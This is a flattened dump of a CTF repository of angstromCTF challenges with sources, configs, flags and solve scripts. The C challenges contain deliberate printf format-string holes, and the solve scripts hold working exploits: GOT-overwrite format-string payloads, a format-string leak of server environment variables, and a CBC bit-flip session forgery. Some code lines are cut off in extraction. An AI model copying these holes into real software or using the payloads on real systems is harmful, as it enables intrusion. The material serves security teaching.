long_to_bytes(l, 16)), t)+m 19 | iv_forged = strxor(strxor(iv, long_to_bytes(l, 16)), long_to_bytes(2*l+1, 16)) 20 | t_forged = t 21 | assert cbc_mac.verify(m_forged, iv_forged, t_forged) -------------------------------------------------------------------------------- /angstromctf-2019/over-my-brain/Makefile: -------------------------------------------------------------------------------- 1 | over_my_brain: over_my_brain.c 2 | gcc -o over_my_brain over_my_brain.c -fno-stack-protector -no-pie -------------------------------------------------------------------------------- /angstromctf-2019/over-my-brain/config.yml: -------------------------------------------------------------------------------- 1 | root: '/problems' 2 | competition: '2019' 3 | name: 'over_my_brain' 4 | files: 5 | - src: 'over_my_brain' 6 | dest: 'over_my_brain' 7 | mode: 2555 8 | - src: 'flag.txt' 9 | dest: 'flag.txt' 10 | mode: 440 11 | - src: 'over_my_brain.c' 12 | dest: 'over_my_brain.c' 13 | mode: 444 14 | xinetd: 15 | port: 19010 16 | server: 'over_my_brain' -------------------------------------------------------------------------------- /angstromctf-2019/over-my-brain/flag.txt: -------------------------------------------------------------------------------- 1 | actf{whoooooooooooooooooooosh} 2 | -------------------------------------------------------------------------------- /angstromctf-2019/over-my-brain/over_my_brain: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/over-my-brain/over_my_brain -------------------------------------------------------------------------------- /angstromctf-2019/over-my-brain/solve.txt: -------------------------------------------------------------------------------- 1 | flag: 0x00000000004011c6 2 | 3 | b *0x40158a 4 | x/100wx ($sp-312) 5 | 6 | -[+>-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]>>>>>>>>>>>>>>>>>>[-]<-[>-<+++++++++]>->[-]>[-]<----[>+<----]>+<+++++++++++++++++>>[-]>[-]>[-] -------------------------------------------------------------------------------- /angstromctf-2019/paint/paint.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import random 3 | 4 | from secret import flag 5 | 6 | image = int(binascii.hexlify(flag), 16) 7 | 8 | palette = 1 << 2048 9 | base = random.randint(0, palette) | 1 10 | secret = random.randint(0, palette) 11 | my_mix = pow(base, secret, palette) 12 | 13 | print('palette: {}'.format(palette)) 14 | print('base: {}'.format(base)) 15 | print('my mix: {}'.format(my_mix)) 16 | 17 | your_mix = int(input('your mix: ')) 18 | 19 | shared_mix = pow(your_mix, secret, palette) 20 | painting = image ^ shared_mix 21 | print('painting: {}'.format(painting)) -------------------------------------------------------------------------------- /angstromctf-2019/paint/secret.py: -------------------------------------------------------------------------------- 1 | flag = b'actf{powers_of_two_are_not_two_powerful}' -------------------------------------------------------------------------------- /angstromctf-2019/paint/setup.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import random 3 | 4 | from secret import flag 5 | 6 | template = '''\ 7 | palette: {} 8 | base: {} 9 | my mix: {} 10 | your mix: {} 11 | painting: {}''' 12 | 13 | m = int(binascii.hexlify(flag), 16) 14 | 15 | n = 1 << 2048 16 | g = random.randint(0, n) | 1 17 | x = random.randint(0, n) 18 | gx = pow(g, x, n) 19 | y = random.randint(0, n) 20 | gy = pow(g, y, n) 21 | s = pow(gy, x, n) 22 | c = m ^ s 23 | 24 | out = template.format(n, g, gx, gy, c) 25 | with open('paint.txt', 'w') as f: 26 | f.write(out) -------------------------------------------------------------------------------- /angstromctf-2019/paint/solve.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | n = 1 << 2048 4 | g = random.randint(0, n) | 1 5 | x = random.randint(0, n) 6 | gx = pow(g, x, n) 7 | 8 | # order depends on the generator g 9 | # for this problem, it was 2**2045 10 | e = 2048-3 11 | s = 0 12 | for k in range(e): 13 | shift = pow(2, e-1-k, n) 14 | if pow(gx, shift, n) != pow(g, s*shift, n): 15 | s += pow(2, k) 16 | assert pow(g, s, n) == gx 17 | -------------------------------------------------------------------------------- /angstromctf-2019/paper-bin/paper.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/paper-bin/paper.pdf -------------------------------------------------------------------------------- /angstromctf-2019/paper-bin/paper_bin.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/paper-bin/paper_bin.dat -------------------------------------------------------------------------------- /angstromctf-2019/paper-cut/paper_cut.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/paper-cut/paper_cut.pdf -------------------------------------------------------------------------------- /angstromctf-2019/paper-cut/signature.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/paper-cut/signature.png -------------------------------------------------------------------------------- /angstromctf-2019/paper-cut/solve.py: -------------------------------------------------------------------------------- 1 | import cairo 2 | import zlib 3 | 4 | stream = open('paper_cut.pdf','rb').read() 5 | stream = stream[stream.find(b'stream')+7:] 6 | vector = zlib.decompressobj().decompress(stream) 7 | vector = vector[vector.rfind(b'sc')+3:vector.rfind(b'f')+1] 8 | vector = vector.decode().replace('\n', ' ').split(' ') 9 | 10 | width, height = 1024, 1024 11 | surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, width, height) 12 | context = cairo.Context(surface) 13 | context.scale(width, height) 14 | context.set_line_width(0.001) 15 | 16 | commands = { 17 | 'm': context.move_to, 18 | 'c': context.curve_to, 19 | 'l': context.line_to, 20 | 'f': context.fill 21 | } 22 | 23 | params = [] 24 | for item in vector: 25 | if item in commands: 26 | commands[item](*params) 27 | params = [] 28 | continue 29 | try: 30 | value = float(item) 31 | except: 32 | continue 33 | if len(params) % 2 == 0: 34 | params.append((value-190)/100) 35 | else: 36 | params.append(1-(value-500)/100) 37 | 38 | context.stroke() 39 | surface.write_to_png('signature.png') -------------------------------------------------------------------------------- /angstromctf-2019/paper-trail/paper_trail.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/paper-trail/paper_trail.pcapng -------------------------------------------------------------------------------- /angstromctf-2019/paper-trail/stream.txt: -------------------------------------------------------------------------------- 1 | PRIVMSG defund :I have to confide in someone, even if it's myself 2 | PRIVMSG defund :my publications are all randomly generated :( 3 | PRIVMSG defund :a 4 | PRIVMSG defund :c 5 | PRIVMSG defund :t 6 | PRIVMSG defund :f 7 | PRIVMSG defund :{ 8 | PRIVMSG defund :f 9 | PRIVMSG defund :a 10 | PRIVMSG defund :k 11 | PRIVMSG defund :e 12 | PRIVMSG defund :_ 13 | PING chat.freenode.net 14 | PRIVMSG defund :m 15 | PRIVMSG defund :a 16 | PRIVMSG defund :t 17 | PRIVMSG defund :h 18 | PRIVMSG defund :_ 19 | PRIVMSG defund :p 20 | PRIVMSG defund :a 21 | PRIVMSG defund :p 22 | PRIVMSG defund :e 23 | PRIVMSG defund :r 24 | PRIVMSG defund :s 25 | PRIVMSG defund :} 26 | -------------------------------------------------------------------------------- /angstromctf-2019/powerball/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM defund/crypto 2 | 3 | COPY . /ctf 4 | WORKDIR /ctf 5 | 6 | EXPOSE 3000 7 | LABEL options='{"ports": {"3000": 19001}}' 8 | 9 | CMD ["python3", "server.py"] -------------------------------------------------------------------------------- /angstromctf-2019/powerball/deploy/private.txt: -------------------------------------------------------------------------------- 1 | d: 3797076153741231965586487974643647974733474174136757474399854047935005765846277479938398871253820311158709269871594717120198984935640327100181834462145713569357303205419574920446491695244462971226909830494692604272702558309067407379287193595103341137533802400273076767748496725524472775934485020699626230104703025745253782843859039586892655369824125358493532791805220079787145863863272070757596640179226327051110199478032746272163536227014289300587164492366393229970683575289898099347891151685996237879583238252498066149033028903512664711124269517273785689446614008534304867391858869418234959102043928513425955481921 -------------------------------------------------------------------------------- /angstromctf-2019/powerball/deploy/public.txt: -------------------------------------------------------------------------------- 1 | n: 24714368843752022974341211877467549639498231894964810269117413322029642752633577038705218673687716926448339400096802361297693998979745765931534103202467338384642921856548086360244485671986927177008440715178336399465697444026353230451518999567214983427406178161356304710292306078130635844316053709563154657103495905205276956218906137150310994293077448766114520034675696741058748420135888856866161554417709555214430301224863490074059065870222171272131856991865315097313467644895025929047477332550027963804064961056274499899920572740781443106554154096194288807134535706752546520058150115125502989328782055006169368495301 2 | e: 65537 -------------------------------------------------------------------------------- /angstromctf-2019/powerball/deploy/secret.py: -------------------------------------------------------------------------------- 1 | flag = b'actf{no_more_free_oblivious_transfers}' -------------------------------------------------------------------------------- /angstromctf-2019/powerball/deploy/server.py: -------------------------------------------------------------------------------- 1 | import socketserver 2 | 3 | from Crypto.Util.number import getRandomRange 4 | 5 | from secret import flag 6 | 7 | welcome = b'''\ 8 | ************ ANGSTROMCTF POWERBALL ************ 9 | Correctly guess all 6 ball values ranging from 0 10 | to 4095 to win the jackpot! As a special deal, 11 | we'll also let you secretly view a ball's value! 12 | ''' 13 | 14 | with open('public.txt') as f: 15 | n = int(f.readline()[3:]) 16 | e = int(f.readline()[3:]) 17 | 18 | with open('private.txt') as f: 19 | d = int(f.readline()[3:]) 20 | 21 | def handle(self): 22 | self.write(welcome) 23 | balls = [getRandomRange(0, 4096) for _ in range(6)] 24 | x = [getRandomRange(0, n) for _ in range(6)] 25 | self.write('x: {}\n'.format(x).encode()) 26 | v = int(self.query(b'v: ')) 27 | m = [] 28 | for i in range(6): 29 | k = pow(v-x[i], d, n) 30 | m.append((balls[i]+k) % n) 31 | self.write('m: {}\n'.format(m).encode()) 32 | guess = [] 33 | for i in range(6): 34 | guess.append(int(self.query('Ball {}: '.format(i+1).encode()))) 35 | if balls == guess: 36 | self.write(b'JACKPOT!!!') 37 | self.write(flag) 38 | else: 39 | self.write(b'Sorry, those were the wrong numbers.') 40 | 41 | class RequestHandler(socketserver.BaseRequestHandler): 42 | 43 | handle = handle 44 | 45 | def read(self, until=b'\n'): 46 | out = b'' 47 | while not out.endswith(until): 48 | out += self.request.recv(1) 49 | return out[:-len(until)] 50 | 51 | def query(self, string=b''): 52 | self.write(string, newline=False) 53 | return self.read() 54 | 55 | def write(self, string, newline=True): 56 | self.request.sendall(string) 57 | if newline: 58 | self.request.sendall(b'\n') 59 | 60 | class Server(socketserver.ForkingTCPServer): 61 | 62 | allow_reuse_address = True 63 | 64 | def handle_error(self, request, client_address): 65 | pass 66 | 67 | port = 3000 68 | server = Server(('0.0.0.0', port), RequestHandler) 69 | server.serve_forever() -------------------------------------------------------------------------------- /angstromctf-2019/powerball/deploy/setup.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | key = RSA.generate(2048) 4 | 5 | with open('private.txt', 'w') as f: 6 | f.write('d: {}'.format(key.d)) 7 | 8 | with open('public.txt', 'w') as f: 9 | f.write('n: {}\ne: {}'.format(key.n, key.e)) -------------------------------------------------------------------------------- /angstromctf-2019/powerball/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | from Crypto.Util.number import getRandomRange 3 | 4 | key = RSA.generate(2048) 5 | n = key.n 6 | e = key.e 7 | d = key.d 8 | 9 | def query(v): 10 | balls = [getRandomRange(0, 1024) for _ in range(6)] 11 | x = [getRandomRange(0, n) for _ in range(6)] 12 | m = [] 13 | for i in range(6): 14 | k = pow(v-x[i], d, n) 15 | m.append((balls[i]+k) % n) 16 | return m, x, balls 17 | 18 | def crack(m, x, v): 19 | for i in range(1024): 20 | if pow(m-i, e, n) == (v-x) % n: 21 | return i 22 | 23 | v = 0 24 | m, x, balls = query(v) 25 | assert balls == [crack(m[i], x[i], v) for i in range(6)] 26 | -------------------------------------------------------------------------------- /angstromctf-2019/printer-paper/paper.pbm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/printer-paper/paper.pbm -------------------------------------------------------------------------------- /angstromctf-2019/printer-paper/paper.xqx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/printer-paper/paper.xqx -------------------------------------------------------------------------------- /angstromctf-2019/printer-paper/printer_paper.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/printer-paper/printer_paper.pcapng -------------------------------------------------------------------------------- /angstromctf-2019/purchases/Makefile: -------------------------------------------------------------------------------- 1 | purchases: purchases.c 2 | gcc -o purchases purchases.c -no-pie -------------------------------------------------------------------------------- /angstromctf-2019/purchases/config.yml: -------------------------------------------------------------------------------- 1 | root: '/problems' 2 | competition: '2019' 3 | name: 'purchases' 4 | files: 5 | - src: 'purchases' 6 | dest: 'purchases' 7 | mode: 2555 8 | - src: 'flag.txt' 9 | dest: 'flag.txt' 10 | mode: 440 11 | - src: 'purchases.c' 12 | dest: 'purchases.c' 13 | mode: 444 14 | xinetd: 15 | port: 19011 16 | server: 'purchases' -------------------------------------------------------------------------------- /angstromctf-2019/purchases/flag.txt: -------------------------------------------------------------------------------- 1 | actf{limited_edition_flag} -------------------------------------------------------------------------------- /angstromctf-2019/purchases/purchases: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/purchases/purchases -------------------------------------------------------------------------------- /angstromctf-2019/purchases/purchases.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void flag() { 6 | system("/bin/cat flag.txt"); 7 | } 8 | 9 | int main() { 10 | gid_t gid = getegid(); 11 | setresgid(gid, gid, gid); 12 | 13 | char item[60]; 14 | printf("What item would you like to purchase? "); 15 | fgets(item, sizeof(item), stdin); 16 | item[strlen(item)-1] = 0; 17 | 18 | if (strcmp(item, "nothing") == 0) { 19 | printf("Then why did you even come here? "); 20 | } else { 21 | printf("You don't have any money to buy "); 22 | printf(item); 23 | printf("s. You're wasting your time! We don't even sell "); 24 | printf(item); 25 | printf("s. Leave this place and buy "); 26 | printf(item); 27 | printf(" somewhere else. "); 28 | } 29 | 30 | printf("Get out!\n"); 31 | return 0; 32 | } -------------------------------------------------------------------------------- /angstromctf-2019/purchases/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import struct 3 | 4 | flag = 0x0000000000400797 5 | printf_got = 0x0000000000601040 6 | 7 | payload = '%12$hn'+'%64x'+'%13$hn'+'%1879x'+'%14$hn'+'AAA\x00'+struct.pack('', methods=['GET']) 36 | def view(tag): 37 | if redis.exists(tag): 38 | madlib = json.loads(redis.get(tag)) 39 | if set(request.args.keys()) == set(madlib['blanks']): 40 | return render_template('result.html', stuff=madlib['template'].format(args=request.args)) 41 | else: 42 | return render_template('fill.html', blanks=madlib['blanks']) 43 | else: 44 | abort(404) 45 | 46 | if __name__ == '__main__': 47 | app.run() -------------------------------------------------------------------------------- /angstromctf-2019/random-zkp/madlibbin/deploy/madlibbin/templates/fill.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

madlibbin'

10 | {% for blank in blanks %} 11 |
12 | 13 | 14 |
15 | {% endfor %} 16 |
17 | 18 |
19 |
20 |
21 | 22 | -------------------------------------------------------------------------------- /angstromctf-2019/random-zkp/madlibbin/deploy/madlibbin/templates/result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |
9 |

madlibbin'

10 |
{{ stuff }}
11 |
12 | 13 |
14 | 15 |
16 | 21 | 22 | -------------------------------------------------------------------------------- /angstromctf-2019/random-zkp/madlibbin/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | gunicorn 3 | redis -------------------------------------------------------------------------------- /angstromctf-2019/random-zkp/madlibbin/redis/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM redis:latest 2 | 3 | LABEL options='{"network":"madlibbin", "name":"madlibbin_redis"}' 4 | 5 | CMD ["redis-server"] -------------------------------------------------------------------------------- /angstromctf-2019/random-zkp/madlibbin/solve.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | from flask import request, session 3 | 4 | app = Flask(__name__) 5 | 6 | @app.route('/', methods=['GET']) 7 | def index(): 8 | string = '{args.get.__func__.__globals__[mimetypes].os.environ}'.format(args=request.args) 9 | return string 10 | 11 | if __name__ == '__main__': 12 | app.run() -------------------------------------------------------------------------------- /angstromctf-2019/returns/Makefile: -------------------------------------------------------------------------------- 1 | returns: returns.c 2 | gcc -o returns returns.c -no-pie -------------------------------------------------------------------------------- /angstromctf-2019/returns/config.yml: -------------------------------------------------------------------------------- 1 | root: '/problems' 2 | competition: '2019' 3 | name: 'returns' 4 | files: 5 | - src: 'returns' 6 | dest: 'returns' 7 | mode: 2555 8 | - src: 'flag.txt' 9 | dest: 'flag.txt' 10 | mode: 440 11 | - src: 'returns.c' 12 | dest: 'returns.c' 13 | mode: 444 14 | xinetd: 15 | port: 19307 16 | server: 'returns' 17 | -------------------------------------------------------------------------------- /angstromctf-2019/returns/flag.txt: -------------------------------------------------------------------------------- 1 | actf{no_returns_allowed} -------------------------------------------------------------------------------- /angstromctf-2019/returns/returns: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/returns/returns -------------------------------------------------------------------------------- /angstromctf-2019/returns/returns.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() { 6 | gid_t gid = getegid(); 7 | setresgid(gid, gid, gid); 8 | setvbuf(stdin, NULL, _IONBF, 0); 9 | setvbuf(stdout, NULL, _IONBF, 0); 10 | 11 | char item[50]; 12 | printf("What item would you like to return? "); 13 | fgets(item, 50, stdin); 14 | item[strlen(item)-1] = 0; 15 | 16 | if (strcmp(item, "nothing") == 0) { 17 | printf("Then why did you even come here? "); 18 | } else { 19 | printf("We didn't sell you a "); 20 | printf(item); 21 | printf(". You're trying to scam us! We don't even sell "); 22 | printf(item); 23 | printf("s. Leave this place and take your "); 24 | printf(item); 25 | printf(" with you. "); 26 | } 27 | 28 | printf("Get out!\n"); 29 | return 0; 30 | } -------------------------------------------------------------------------------- /angstromctf-2019/returns/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import struct 3 | 4 | main = 0x0000000000400757 5 | puts_got = 0x0000000000601018 6 | loop = '%12$hn'+'%64x'+'%13$hn'+'%1815x'+'%14$hn'+'AAA\x00'+struct.pack(' 2 | 3 | Secret Sheep Society 4 | 5 | 6 | 7 |
8 |

Secret Sheep Society Portal

9 |
10 |            __  _
11 |        .-.'  `; `-._  __  _
12 |       (_,         .-:'  `; `-._
13 |     ,'o"(        (_,           )
14 |    (__,-'      ,'o"(            )
15 |       (       (__,-'            )
16 |        `-'._.--._(             )
17 |           |||  |||`-'._.--._.-'
18 |                      |||  |||
19 |       
20 | {% if session %} 21 |

22 | Welcome, {{ session['handle'] }}. 23 | {% if session['admin'] %} 24 | The flag is {{ flag }}. 25 | {% else %} 26 | Unfortunately, only sheep in the highest echelons have access to the flag. 27 | {% endif %} 28 |

29 |
30 |
31 | 32 |
33 |
34 | {% else %} 35 |
36 | 37 | 38 |
39 | {% endif %} 40 |
41 | 42 | -------------------------------------------------------------------------------- /angstromctf-2019/secret-sheep-society/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | from Crypto.Random import get_random_bytes 4 | from Crypto.Util.strxor import strxor 5 | 6 | from manager import Manager 7 | 8 | session = { 9 | 'admin': False, 10 | 'handle': 'defund' 11 | } 12 | 13 | key = get_random_bytes(16) 14 | manager = Manager(key) 15 | token = manager.pack(session) 16 | 17 | raw = base64.b64decode(token) 18 | iv = raw[:16] 19 | enc = raw[16:] 20 | offset = strxor(b'{"admin": false,', b'{"admin": true ,') 21 | forged = base64.b64encode(strxor(iv, offset) + enc) 22 | 23 | assert manager.unpack(forged)['admin'] -------------------------------------------------------------------------------- /angstromctf-2023/snap-circuits/flag.txt: -------------------------------------------------------------------------------- 1 | actf{L3akY_g@rbl1ng} 2 | -------------------------------------------------------------------------------- /angstromctf-2023/snap-circuits/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.strxor import strxor 2 | from binteger import Bin 3 | from pwn import process 4 | 5 | nc = process(['python', 'server.py']) 6 | 7 | nc.recvuntil(b'You have ') 8 | n = int(nc.recvuntil(b' ')) 9 | 10 | for i in range(n): 11 | nc.sendlineafter(b'gate: ', f'and {i} {i}'.encode()) 12 | nc.sendlineafter(b'gate: ', f'and {i} {i}'.encode()) 13 | 14 | nc.sendlineafter(b'gate: ', b'done') 15 | 16 | in_labels = [] 17 | for _ in range(n): 18 | nc.recvuntil(b': ') 19 | key = bytes.fromhex(nc.recvuntil(b' ').decode()) 20 | ptr = int(nc.recvline()) 21 | in_labels.append((key, ptr)) 22 | 23 | nc.recvline() 24 | 25 | tables = [] 26 | for _ in range(2*n): 27 | table = [] 28 | for _ in range(4): 29 | ct = bytes.fromhex(nc.recvuntil(b' ').decode()) 30 | nc.recvline() 31 | table.append(ct) 32 | tables.append(table) 33 | 34 | bits = [] 35 | for i in range(n): 36 | table_xor = [strxor(x, y) for x, y in zip(tables[2*i], tables[2*i+1])] 37 | ptr = in_labels[i][1] 38 | ct = table_xor[2*ptr + ptr] 39 | bits.append(0 if table_xor.count(ct) == 3 else 1) 40 | 41 | print(Bin(bits).bytes) 42 | -------------------------------------------------------------------------------- /angstromctf-2023/tau-as-a-service/flag.txt: -------------------------------------------------------------------------------- 1 | actf{w3_g0t_the_p0wer_tod0_th4t} 2 | -------------------------------------------------------------------------------- /angstromctf-2023/tau-as-a-service/server.py: -------------------------------------------------------------------------------- 1 | from blspy import PrivateKey as Scalar 2 | 3 | # order of curve 4 | n = 0x73EDA753299D7D483339D80809A1D80553BDA402FFFE5BFEFFFFFFFF00000001 5 | 6 | with open('flag.txt', 'rb') as f: 7 | tau = int.from_bytes(f.read().strip(), 'big') 8 | assert tau < n 9 | 10 | while True: 11 | d = int(input('gimme the power: ')) 12 | assert 0 < d < n 13 | B = Scalar.from_bytes(pow(tau, d, n).to_bytes(32, 'big')).get_g1() 14 | print(B) 15 | -------------------------------------------------------------------------------- /angstromctf-2024/blahaj/blahaj.sage: -------------------------------------------------------------------------------- 1 | p = random_prime(2**1024) 2 | q = random_prime(2**1024) 3 | a = randint(0, 2**1024) 4 | b = randint(0, 2**1024) 5 | 6 | def read_flag(file='flag.txt'): 7 | with open(file, 'rb') as fin: 8 | flag = fin.read() 9 | return flag 10 | 11 | def pad_flag(flag, bits=1024): 12 | pad = os.urandom(bits//8 - len(flag)) 13 | return int.from_bytes(flag + pad, "big") 14 | 15 | def generate_keys(p, q): 16 | n = p * q 17 | e = 0x10001 18 | return n, e 19 | 20 | def encrypt_message(m, e, n): 21 | return pow(m, e, n) 22 | 23 | flag = read_flag() 24 | m = pad_flag(flag) 25 | 26 | n, e = generate_keys(p, q) 27 | assert m < n 28 | 29 | c = encrypt_message(m, e, n) 30 | 31 | print(c) 32 | print(n) 33 | print(p + b * q) 34 | print(a * p + q) 35 | -------------------------------------------------------------------------------- /angstromctf-2024/blahaj/description.md: -------------------------------------------------------------------------------- 1 | Soft toy, shark, 39 ¼ " 2 | 3 | [blahaj.sage](blahaj.sage) [blahaj_out.txt](blahaj_out.txt) 4 | -------------------------------------------------------------------------------- /angstromctf-2024/blahaj/flag.txt: -------------------------------------------------------------------------------- 1 | actf{i_l0ve_kr4m1g_761cf409656ad75d} 2 | -------------------------------------------------------------------------------- /angstromctf-2024/blahaj/solve.sage: -------------------------------------------------------------------------------- 1 | with open('blahaj_out.txt') as f: 2 | c, n, x, y = map(ZZ, f.readlines()) 3 | 4 | e = 65537 5 | 6 | R = Integers(n) 7 | 8 | P. = PolynomialRing(Integers(n)) 9 | 10 | f1 = a*p + q 11 | 12 | f2 = p + b*q 13 | 14 | f3 = p*q 15 | 16 | I = Ideal([f1 - x, f2 - y, f3 - n]) 17 | B = I.groebner_basis() 18 | 19 | print(B) 20 | 21 | g = B[-1] 22 | 23 | z = ZZ(g.coefficient({q: 1})) 24 | assert g.constant_coefficient() == R(-y) 25 | 26 | _, (z1, _), (z2, _) = list(g) 27 | z1 = ZZ(z1) 28 | z2 = ZZ(z2) 29 | 30 | S = 2^1024 31 | 32 | for p_upper_bits in range(16): 33 | p_upper = p_upper_bits << 1020 34 | for q_upper_bits in range(16): 35 | q_upper = q_upper_bits << 1020 36 | M = matrix(ZZ, [[S, -1, 0, 0], [S*z1, 0, -1, 0], [S*(z2 + p_upper + q_upper*z1), 0, 0, S], [S*n, 0, 0, 0]]) 37 | B = M.LLL() 38 | for b in B: 39 | if b[-1] == S: 40 | if b[1] < 0: 41 | b *= -1 42 | 43 | p_guess = b[1] + p_upper 44 | q_guess = b[2] + q_upper 45 | if p_guess * q_guess == n: 46 | d = pow(e, -1, (p_guess - 1)*(q_guess - 1)) 47 | print(int(pow(c, d, n)).to_bytes(1024//8, 'big')) 48 | exit() 49 | -------------------------------------------------------------------------------- /angstromctf-2024/random-rabin/description.md: -------------------------------------------------------------------------------- 1 | I heard that the [Rabin cryptosystem](https://en.wikipedia.org/wiki/Rabin_cryptosystem) has four decryptions per ciphertext. So why not choose one randomly? 2 | 3 | `nc challs.actf.co 31300` 4 | 5 | [random-rabin.py](random-rabin.py) 6 | -------------------------------------------------------------------------------- /angstromctf-2024/random-rabin/flag.txt: -------------------------------------------------------------------------------- 1 | actf{f4ncy_squ4re_r00ts_53a370c33f192973} 2 | -------------------------------------------------------------------------------- /angstromctf-2024/random-rabin/random_rabin.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | from random import SystemRandom 4 | from Crypto.Util.number import getPrime 5 | from libnum import xgcd 6 | 7 | random = SystemRandom() 8 | 9 | def primegen(): 10 | while True: 11 | p = getPrime(512) 12 | if p % 4 == 3: 13 | return p 14 | 15 | def keygen(): 16 | p = primegen() 17 | q = primegen() 18 | n = p * q 19 | return n, (n, p, q) 20 | 21 | def encrypt(pk, m): 22 | n = pk 23 | return pow(m, 2, n) 24 | 25 | def decrypt(sk, c): 26 | n, p, q = sk 27 | yp, yq, _ = xgcd(p, q) 28 | mp = pow(c, (p + 1)//4, p) 29 | mq = pow(c, (q + 1)//4, q) 30 | s = yp * p * mq % n 31 | t = yq * q * mp % n 32 | rs = [(s + t) % n, (-s - t) % n, (s - t) % n, (-s + t) % n] 33 | r = random.choice(rs) 34 | return r 35 | 36 | def game(): 37 | pk, sk = keygen() 38 | print(f'pubkey: {pk}') 39 | secret = random.randbytes(16) 40 | m = int.from_bytes(secret, 'big') 41 | print(f'plaintext: {decrypt(sk, encrypt(pk, m))}') 42 | guess = bytes.fromhex(input('gimme the secret: ')) 43 | return guess == secret 44 | 45 | if __name__ == '__main__': 46 | for _ in range(64): 47 | success = game() 48 | if not success: 49 | exit() 50 | 51 | with open('flag.txt') as f: 52 | flag = f.read().strip() 53 | print(flag) 54 | -------------------------------------------------------------------------------- /angstromctf-2024/random-rabin/solve.sage: -------------------------------------------------------------------------------- 1 | from pwn import process, remote 2 | from tqdm import tqdm 3 | 4 | io = process(['python', 'random-rabin.py']) 5 | # io = remote('challs.actf.co', 31300) 6 | 7 | for _ in tqdm(range(64)): 8 | io.recvuntil(b'pubkey: ') 9 | n = int(io.recvline()) 10 | 11 | io.recvuntil(b'plaintext: ') 12 | m = int(io.recvline()) 13 | 14 | if m.bit_length() <= 128: 15 | secret = m 16 | elif (n - m).bit_length() <= 128: 17 | secret = n - m 18 | else: 19 | P. = Integers(n)[] 20 | secret = int((m + x).small_roots(beta=0.5)[0]) 21 | if secret.bit_length() > 128: 22 | secret = n - secret 23 | 24 | io.sendlineafter(b'secret: ', secret.to_bytes(16, 'big').hex().encode()) 25 | 26 | io.interactive() 27 | -------------------------------------------------------------------------------- /angstromctf-2024/simon-says/description.md: -------------------------------------------------------------------------------- 1 | Simon says: encrypt three times! 2 | 3 | [simon_says.py](simon_says.py) [simon_says_out.txt](simon_says_out.txt) 4 | -------------------------------------------------------------------------------- /angstromctf-2024/simon-says/flag.txt: -------------------------------------------------------------------------------- 1 | actf{s1m0n_4nd_sp3ck_814e05459fd2856d} 2 | -------------------------------------------------------------------------------- /angstromctf-2024/simon-says/simon_says.py: -------------------------------------------------------------------------------- 1 | class Simon: 2 | 3 | n = 64 4 | m = 4 5 | z = 0b01100111000011010100100010111110110011100001101010010001011111 6 | 7 | def __init__(self, k, T): 8 | self.T = T 9 | self.k = self.schedule(k) 10 | 11 | def S(self, x, j): 12 | j = j % self.n 13 | return ((x << j) | (x >> (self.n - j))) & 0xffffffffffffffff 14 | 15 | def schedule(self, k): 16 | k = k[:] 17 | for i in range(self.m, self.T): 18 | tmp = self.S(k[i - 1], -3) 19 | if self.m == 4: 20 | tmp ^= k[i - 3] 21 | tmp ^= self.S(tmp, -1) 22 | zi = (self.z >> ((i - self.m) % 62)) & 1 23 | k.append(k[i - self.m] ^ tmp ^ zi ^ 0xfffffffffffffffc) 24 | return k 25 | 26 | def encrypt(self, x, y): 27 | for i in range(self.T): 28 | tmp = x 29 | x = y ^ (self.S(x, 1) & self.S(x, 8)) ^ self.S(x, 2) ^ self.k[i] 30 | y = tmp 31 | return x, y 32 | 33 | def encrypt(simon, pt): 34 | ct = bytes() 35 | for i in range(0, len(pt), 16): 36 | x = int.from_bytes(pt[i:i+8], 'big') 37 | y = 